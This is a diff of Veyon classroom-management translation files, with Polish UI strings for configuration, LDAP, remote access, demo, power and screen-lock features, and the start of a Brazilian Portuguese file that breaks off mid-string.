+ Nazwa komputera;Nazwa hosta;Użytkownik + + + Room detection failed + Nie można znaleźć pokoju + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Wskaż istniejący plik konfiguracyjny w celu zaimportowania. + + + Please specify a valid filename for the configuration export. + Wskaż nazwę wyeksportowanego pliku konfiguracyjnego. + + + Please specify a valid key. + Wskaż poprawny klucz + + + Specified key does not exist in current configuration! + Wskazany klucz nie istnieje w bieżącej konfiguracji! + + + Please specify a valid value. + Proszę wpisać prawidłową wartość. + + + Configure Veyon at command line + Konfiguruj Veyon za pomocą wiersza polecenia + + + Output file is not writable! + Plik wyjściowy nie ma uprawnień zapisu! + + + Output directory is not writable! + Lokalizacja wyjściowa nie ma uprawnień zapisu! + + + Configuration file is not readable! + Plik konfiguracyjny nie nadaje się do odczytu! + + + Clear system-wide Veyon configuration + Wyczyść konfigurację programu Veyon + + + List all configuration keys and values + Wyświetl wszystkie klucze konfiguracyjne i wartości + + + Import configuration from given file + Zaimportuj konfiguracje z podanego pliku + + + Export configuration to given file + Wyeksportuj konfiguracje do podanego pliku + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + Komendy do zarządzania konfiguracją programu Veyon + + + Upgrade and save configuration of program and plugins + Aktualizuj i zapisz konfigurację programu i rozszerzeń + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + Demo %1 + + + + DemoConfigurationPage + + Demo server + Serwer demo + + + Tunables + + + + ms + ms + + + Key frame interval + + + + Memory limit + Limit pamięci + + + Use multithreading (experimental) + Użyj wielowątkowości (eksperymentalne) + + + MB + MB + + + Update interval + Interwał odświeżania: + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + Serwer demo + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + W tym trybie twój ekran jest wyświetlany w trybie pełnoekranowym na wszystkich komputerach. Urządzenia wejścia użytkowników są zablokowane. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + W tym trybie twój ekran jest wyświetlany w oknie na wszystkich komputerach. Użytkownicy mogą się przełączać między oknami. + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + Nigdy dla tej sesji + + + Always for this session + Zawsze dla tej sesji + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + Użytkownik %1 komputera %2 chce uzyskać dostęp do twojego pulpitu. Czy chcesz przydzielić dostęp? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programy i strony internetowe + + + Predefined programs + Predefiniowane programy + + + Name + Nazwa + + + Path + Ścieżka + + + Add new program + Dodaj nowy program + + + Remove selected program + Usuń wybrane programy + + + Predefined websites + Predefiniowane strony + + + Remove selected website + Usuń wybrane strony + + + URL + Adres + + + New program + Nowy program + + + New website + Nowa strona + + + + DesktopServicesFeaturePlugin + + Run program + Uruchom program + + + Open website + Otwórz stronę WWW + + + Click this button to open a website on all computers. + Przyciśnij ten przycisk żeby otworzyć stronę WWW na wszystkich komputerach + + + Please enter the URL of the website to open: + Wprowadź adres strony do otwarcia: + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + Przyciśnij ten przycisk żeby uruchomić program na wszystkich komputerach + + + Run program "%1" + Uruchom program "%1" + + + Custom program + Inny program + + + Open website "%1" + Otwórz stronę "%1" + + + Custom website + Inna strona + + + + ExternalVncServer + + External VNC server + Zewnętrzny serwer VNC + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Konfiguracja zewnętrznego serwera VNC + + + Port: + Port: + + + Password: + Hasło: + + + + FeatureControl + + Feature control + Zarządzanie funkcjami + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Interfejs użytkownika: + + + Language: + Język: + + + Use system language setting + Użyj systemowych ustawień językowych + + + Veyon + Veyon + + + Logging + Logowanie + + + Log file directory + Katalog plików dziennika logowania + + + ... + ... + + + Log level + Poziom logowania + + + Nothing + Nic + + + Only critical messages + Tylko komunikaty o błędach krytycznych + + + Errors and critical messages + Błędy i komunikaty o błędach krytycznych + + + Warnings and errors + Ostrzeżenia i błedy + + + Information, warnings and errors + Informacje, ostrzeżenia i błędy + + + Debug messages and everything else + Komunikaty debugowania i wszystkie pozostałe + + + Limit log file size + Ogranicz rozmiar pliku dziennika + + + Clear all log files + Wyczyść wszystkie pliki dzienników + + + Log to standard error output + + + + Network object directory + Adres obiektu sieciowego + + + Backend: + + + + Update interval: + Interwał odświeżania: + + + %1 service + Usługa %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Usługa %1 musi zostać zatrzymana w celu usunięcia plików dziennika. Kontynuować? + + + Log files cleared + Pliki dziennika zostały usunięte + + + All log files were cleared successfully. + Wszystkie pliki dziennika zostały pomyślnie usunięte. + + + Error + Błąd + + + Could not remove all log files. + Nie można usunąć wszystkich plików dziennika. + + + MB + MB + + + Rotate log files + + + + x + x + + + seconds + sekundy + + + Write to logging system of operating system + + + + Authentication + Uwierzytelnienie + + + Method: + Metoda: + + + Logon authentication + Uwierzytelnienie z użyciem loginu + + + Key file authentication + Uwierzytelnienie z użyciem klucza + + + + InternetAccessControlConfigurationPage + + Internet access control + Kontrola dostępu do internetu + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + Zablokuj dostęp do internetu + + + Allow access to the internet + Zezwól na dostęp do internetu + + + Show help about command + Pokaż pomoc dotyczącą komendy + + + Block internet + Zablokuj internet + + + Click this button to block access to the internet. + Naciśnij ten przycisk żeby zablokować dostęp do internetu + + + Unblock internet + Odblokuj internet + + + Click this button to allow access to the internet. + Naciśnij ten przycisk żeby zezwolić na dostęp do internetu + + + Control access to the internet + Kontroluj dostęp do internetu + + + Commands for controlling access to the internet + Komendy do zarządzania dostępem do internetu + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Ustawienia podstawowe + + + General + Ogólne + + + LDAP server and port + Serwer LDAP i port + + + Bind DN + Wskaż nazwę domeny + + + Bind password + wskaż hasło + + + Anonymous bind + + + + Use bind credentials + Użyj wskazanych poświadczeń + + + Test + Test + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + np. dc=przykład,dc=org + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + Ustawienia środowiska + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + Ustawienia zaawansowane + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + Wyświetl wszystkie grupy użytkownika + + + List all groups of a computer + Wyświetl wszystkie grupy komputera + + + Get computer object by IP address + Wybierz komputer za pomocą adresu IP + + + LDAP connection failed + Połączenie LDAP zakończone niepowodzeniem + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + Wprowadź nazwę użytkownika + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + Wprowadź nazwę grupy + + + Please enter a group name whose members to query: + + + + group members + Członkowie grupy + + + group member attribute + Atrybuty członków grupy + + + Group not found + Nie znaleziono grupy + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + Wprowadź nazwę komputera + + + Please enter a computer host name to query: + + + + Invalid host name + Nieprawidłowa nazwa hosta + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + adres MAC komputera + + + computer MAC address attribute + + + + users + użytkownicy + + + user groups + grupy użytkowników + + + computer groups + grupy komputerów + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + Nie znaleziono użytkownika + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + Wprowadź nazwę hosta + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + Nie znaleziono komputera + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + Wprowadź adres IP komputera + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + komputery + + + LDAP %1 test failed + test LDAP %1 zakończony niepowodzeniem + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + test LDAP %1 zakończony powodzeniem + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + test filtrów LDAP zakończony niepowodzeniem + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + test filtrów LDAP zakończony powodzeniem + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + Wyświetl wszystkich członków sali komputerowej + + + List all computer rooms + Wyświetl wszystkie sale komputerowe. + + + Enter computer room name + Wprowadź nazwę sali komputerowej + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + Sale komputerowe + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + Członkowie sali komputerowej + + + computer group filter or computer room member aggregation + + + + Computer rooms + Sale komputerowe + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + Grupy komputerów + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + np. nazwa lub opis + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + Bezpieczeństwo połączenia + + + TLS certificate verification + Weryfikacja certyfikatu TLS + + + System defaults + + + + Never (insecure!) + Nigdy (niebezpieczne!) + + + Custom CA certificate file + Inny plik certyfikatu + + + None + Brak + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + np. (objectClass=komputer) + + + e.g. (objectClass=group) + np. (objectClass=grupa) + + + e.g. (objectClass=person) + np. (objectClass=osoba) + + + e.g. (objectClass=room) or (objectClass=computerLab) + np. (objectClass=sala) lub (objectClass=PracowniaKomputerowa) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + np. (objectClass=kontener) lub (objectClass=JednostkaOrganizacyjna) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + Pliki certyfikatów (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + Pokaż pomoc dotyczącą komendy + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (załaduj komputery i sale z LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + Brak danych + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + Pokaż pomoc dla wskazanej komendy + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + Brak danych + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + Konfiguracja + + + Disable balloon tooltips + + + + Show icons only + Pokaż tylko ikony + + + + MainWindow + + MainWindow + Główne okno + + + toolBar + Pasek narzędzi + + + General + Ogólne + + + &File + &Plik + + + &Help + &Pomoc + + + &Quit + &Wyjście + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + &Załaduj ustawienia z pliku + + + Ctrl+O + Ctrl+O + + + About Qt + O Qt + + + Authentication impossible + Uwierzytelnienie niemożliwe + + + Configuration not writable + Nie można zapisać konfiguracji + + + Load settings from file + Wczytaj ustawienia z pliku + + + Save settings to file + Zapisz ustawienia do pliku + + + Unsaved settings + Niezapisane ustawienia + + + There are unsaved settings. Quit anyway? + Istnieją niezapisane zmiany. Wyjść mimo to? + + + Veyon Configurator + Konfigurator Veyon + + + Service + Usługa + + + Master + Master + + + Access control + Kontrola dostępu + + + About Veyon + O programie Veyon + + + Auto + Auto + + + Computer rooms + Sale komputerowe + + + About + O programie + + + %1 Configurator %2 + + + + JSON files (*.json) + Pliki JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + Odmowa dostępu + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + Zrzuty ekranu + + + Feature active + Aktywne funkcje + + + The feature "%1" is still active. Please stop it before closing %2. + Funkcja "%1" jest wciąż aktywna. Zatrzymaj ją przed zamknięciem %2. + + + Reset configuration + Resetuj konfigurację + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Czy na pewno chcesz zresetować lokalną konfigurację i przywrócić wszystkie ustawienia do wartości domyślnych? + + + Search users and computers + Wyszukaj użytkowników i komputery + + + Adjust optimal size + Dopasuj optymalny rozmiar + + + Align computers to grid + Dopasuj komputery w siatkę + + + Use custom computer placement + Użyj własnego ułożenia komputerów + + + %1 Configurator + Konfigurator %1 + + + Insufficient privileges + Niewystarczające uprawnienia + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Lokalizacje + + + ... + ... + + + User configuration + Konfiguracja użytkownika + + + Feature on computer double click: + + + + Automatically switch to current room at start + Automatycznie przełącz do bieżącej sali po uruchomieniu programu + + + Features + Funkcje + + + All features + Wszystkie funkcje + + + Disabled features + Wyłączone funkcje + + + Perform access control at program start + + + + Screenshots + Zrzuty ekranu + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + Automatycznie dopasuj rozmiar miniaturek podczas startu + + + Basic settings + Ustawienia podstawowe + + + Behaviour + Zachowanie + + + Enforce selected mode for client computers + + + + Only show current room + Pokaż tylko bieżącą salę + + + Allow adding rooms manually + Zezwalaj na ręczne dodawanie sal + + + Hide local computer + Ukryj komputer lokalny + + + Hide empty rooms + Ukryj puste sale + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + Akcje takie jak uruchom ponownie lub wyłącz komputery + + + Show confirmation dialog for potential dangerous actions + Pokaż okno potwierdzające dla potencjalnie niebezpiecznych akcji + + + User interface + Interfejs użytkownika: + + + Background color + kolor tła + + + Thumbnail update interval + Interwał odświeżania miniatur: + + + ms + ms + + + Program start + Uruchamianie programu + + + Modes and features + Tryby i funkcje + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + Sale komputerowe + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + Monitoring + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + To jest domyślny tryb. Pozwala monitorować wszystkie komputery w sali lub kilku salach. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Test + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + Pokaż pomoc dla wskazanej komendy + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + Sala/Komputer + + + + PasswordDialog + + Username + Nazwa użytkownika + + + Password + Hasło + + + Veyon Logon + + + + Authentication error + Błąd uwierzytelnienia + + + Logon failed with given username and password. Please try again! + Nie można się zalogować z użytym loginem i hasłem. Spróbuj ponownie! + + + Please enter your username and password in order to access computers. + By uzyskać dostęp do komputerów wprowadź nazwę użytkownika i hasło. + + + + PowerControlFeaturePlugin + + Power on + Uruchom + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Kliknij ten przycisk żeby uruchomić wszystkie komputery. Dzięki tej metodzie nie musisz uruchamiać ręcznie każdego komputera. + + + Reboot + Uruchom ponownie + + + Click this button to reboot all computers. + Naciśnij ten przycisk, aby uruchomić ponownie wszystkie komputery. + + + Power down + Wyłącz + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Kliknij ten przycisk żeby wyłączyć wszystkie komputery. Dzięki tej metodzie nie musisz wyłączać ręcznie każdego komputera. + + + Power on/down or reboot a computer + Włącz, wyłącz lub zresetuj komputer + + + Confirm reboot + Potwierdź ponowne uruchomienie + + + Confirm power down + Potwierdź wyłączenie + + + Do you really want to reboot the selected computers? + Czy na pewno chcesz uruchomić ponownie wybrane komputery? + + + Do you really want to power down the selected computer? + Czy na pewno chcesz wyłączyć wybrany komputer? + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + Zdalny podgląd + + + Open a remote view for a computer without interaction. + Otwórz podgląd zdalnego komputera bez wchodzenia w interakcję z nim. + + + Remote control + Zdalna kontrola + + + Open a remote control window for a computer. + Otwórz okno zdalnego sterowania komputerem. + + + Remote access + Zdalny dostęp + + + Remote view or control a computer + Zdalny podgląd lub sterowanie komputerem + + + Please enter the hostname or IP address of the computer to access: + Wprowadź nazwę lub adres IP komputera, do którego chcesz uzyskać dostęp: + + + Show help about command + Pokaż pomoc dotyczącą komendy + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Tylko podgląd + + + Remote control + Zdalna kontrola + + + Send shortcut + Wyślij skrót + + + Fullscreen + Pełny ekran + + + Window + Okno + + + Quit + Wyjście + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Alt+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Łączenie z %1 + + + Connected. + Połączono. + + + Screenshot + Zrzut ekranu + + + + RoomSelectionDialog + + Room selection + Wybór sali + + + enter search filter... + Wprowadź filtr wyszukiwania... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Wprowadź nazwę programów lub komendy do uruchomienia na zdalnym komputerze(komputerach). Możesz oddzielić je, zapisując w osobnych wierszach. + + + Run programs + Uruchom programy + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + np. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Zablokuj + + + Unlock + Odblokuj + + + Lock screen and input devices of a computer + Zablokuj ekran i urządzenia wejścia komputera + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Żeby zdobyć pełną uwagę użytkowników, możesz zablokować ich komputery za pomocą tego przycisku. W tym trybie wszystkie urządzenia wejścia oraz ekran są zablokowane. + + + + Screenshot + + unknown + nieznane + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Nie można przechwycić zrzutu ekranu. Folder %1 nie istnieje i nie można go stworzyć. + + + Screenshot + Zrzut ekranu + + + + ScreenshotFeaturePlugin + + Screenshot + Zrzut ekranu + + + Use this function to take a screenshot of selected computers. + Użyj tej funkcji, aby wykonać zrzut ekranu wybranych komputerów. + + + Screenshots taken + Wykonane zrzuty ekranu + + + Screenshot of %1 computer have been taken successfully. + Wykonano zrzut ekranu komputera %1. + + + Take screenshots of computers and save them locally. + Wykonaj zrzuty ekranów komputerów i zapisz je lokalnie. + + + + ScreenshotManagementView + + User: + Użytkownik: + + + Date: + Data: + + + Time: + Czas: + + + Show + Pokaż + + + Delete + Usuń + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Wszystkie zrzuty ekranu zrobione przez ciebie będą pokazane tutaj. Możesz wykonać zrzut ekranu poprzez wciśnięcie przycisku "Zrzut ekranu" w menu kontekstowym. Zrzutami ekranu można zarządzać przyciskami poniżej. + + + Computer: + Komputer: + + + + ServiceConfigurationPage + + General + Ogólne + + + Autostart + Autostart + + + Hide tray icon + Ukryj ikonę na pasku zadań + + + Start service + Uruchom usługę + + + Stopped + Zatrzymana + + + Stop service + Zatrzymaj usługę + + + State: + Stan + + + Enable SAS generation by software (Ctrl+Alt+Del) + Uruchom generowanie SAS przez oprogramowanie (Ctrl+Alt+Del) + + + Network + Sieć + + + Demo server port + port serwera demo + + + Enable firewall exception + Uruchom wyjątki w zaporze sieciowej + + + Allow connections from localhost only + Zezwalaj tylko na połączenia z localhosta + + + Internal VNC server port + Wewnętrzny port VNC + + + VNC server + Serwer VNC + + + Plugin: + Wtyczka: + + + Restart %1 Service + Uruchom ponownie usługę %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Wszystkie ustawienia zostały zapisane poprawnie. Żeby zaczęły działać, usługa %1 musi zostać uruchomiona ponownie. Czy chcesz zrobić to teraz? + + + Running + Uruchomiona + + + Feature manager port + + + + Primary service port + Główny port usługi + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + wsparcie multisesji (eksperymentalne) + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + Uruchamianie usługi %1 + + + Stopping service %1 + Zatrzymywanie usługi %1 + + + Registering service %1 + Rejestrowanie usługi %1 + + + Unregistering service %1 + Wyrejestrowywanie usługi %1 + + + Service control + Zarządzenie usługą + + + + ServiceControlPlugin + + Service is running + Usługa jest uruchomiona + + + Service is not running + Usługa nie jest uruchomiona + + + Configure and control Veyon service + Konfiguruj i zarządzaj usługą Veyon + + + Register Veyon Service + Rejestracja usługi Veyon + + + Unregister Veyon Service + Wyrejestrowanie usługi Veyon + + + Start Veyon Service + Uruchom usługę Veyon + + + Stop Veyon Service + Zatrzymaj usługę Veyon + + + Restart Veyon Service + Uruchom ponownie usługę Veyon + + + Query status of Veyon Service + Status kolejki usługi Veyon + + + Commands for configuring and controlling Veyon Service + Komendy do konfiguracji i zarządzania usługą Veyon + + + + ShellCommandLinePlugin + + Run command file + Uruchom plik komend + + + File "%1" does not exist! + Plik "%1" nie istnieje! + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Ikona obszaru powiadamiania + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Wyślij wiadomość tekstową + + + Use the field below to type your message which will be sent to all selected users. + W polu poniżej napisz wiadomość, która ma zostać wysłana do wybranych użytkowników. + + + + TextMessageFeaturePlugin + + Text message + Wiadomość tekstowa + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Użyj ten funkcji do wysłania wiadomości tekstowej do wszystkich użytkowników, np. przydzielenie nowego zadania. + + + Message from teacher + Wiadomość od nauczyciela + + + Send a message to a user + Wyślij wiadomość do użytkownika + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + Niska dokładność (tryb turbo) + + + Builtin UltraVNC server configuration + Konfiguracja wbudowanego serwera UltraVNC + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Brak prawa edycji + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + Kontrola sesji użytkownika + + + Click this button to logout users from all computers. + Kliknij ten przycisk żeby wylogować użytkowników ze wszystkich komputerów. + + + Confirm user logout + Potwierdź wylogowanie użytkownika + + + Do you really want to logout the selected users? + Czy na pewno chcesz wylogować zaznaczonych użytkowników? + + + Logout + + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [BŁĄD] + + + Invalid command! + Niepoprawna komenda! + + + Available commands: + Dostępne polecenia: + + + Invalid arguments given + Podano złe argumenty + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + Dostępne moduły: + + + No module specified or module not found - available modules are: + Nie wybrano modułu lub nie może zostać on znaleziony. Dostępne moduły: + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + Usługa Veyon + + + + VncView + + Establishing connection to %1 ... + Nawiązywanie połączenia z %1 + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Konfiguracja wbudowanego serwera x11vnc + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/pt_BR.ts b/translations/pt_BR.ts new file mode 100644 index 0000000..4c74b6c --- /dev/null +++ b/translations/pt_BR.ts @@ -0,0 +1,3826 @@ + + + AboutDialog + + About + Sobre + + + Translation + Tradução + + + License + Licença + + + About Veyon + Sobre o Veyon + + + Contributors + Contribuidores + + + Version: + Versão: + + + Website: + Website: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Idioma atual não traduzido ainda (ou Inglês nativo) + +Se você tem interesse em traduzir o Veyon para o seu idioma local, ou outro idioma, ou melhorar uma 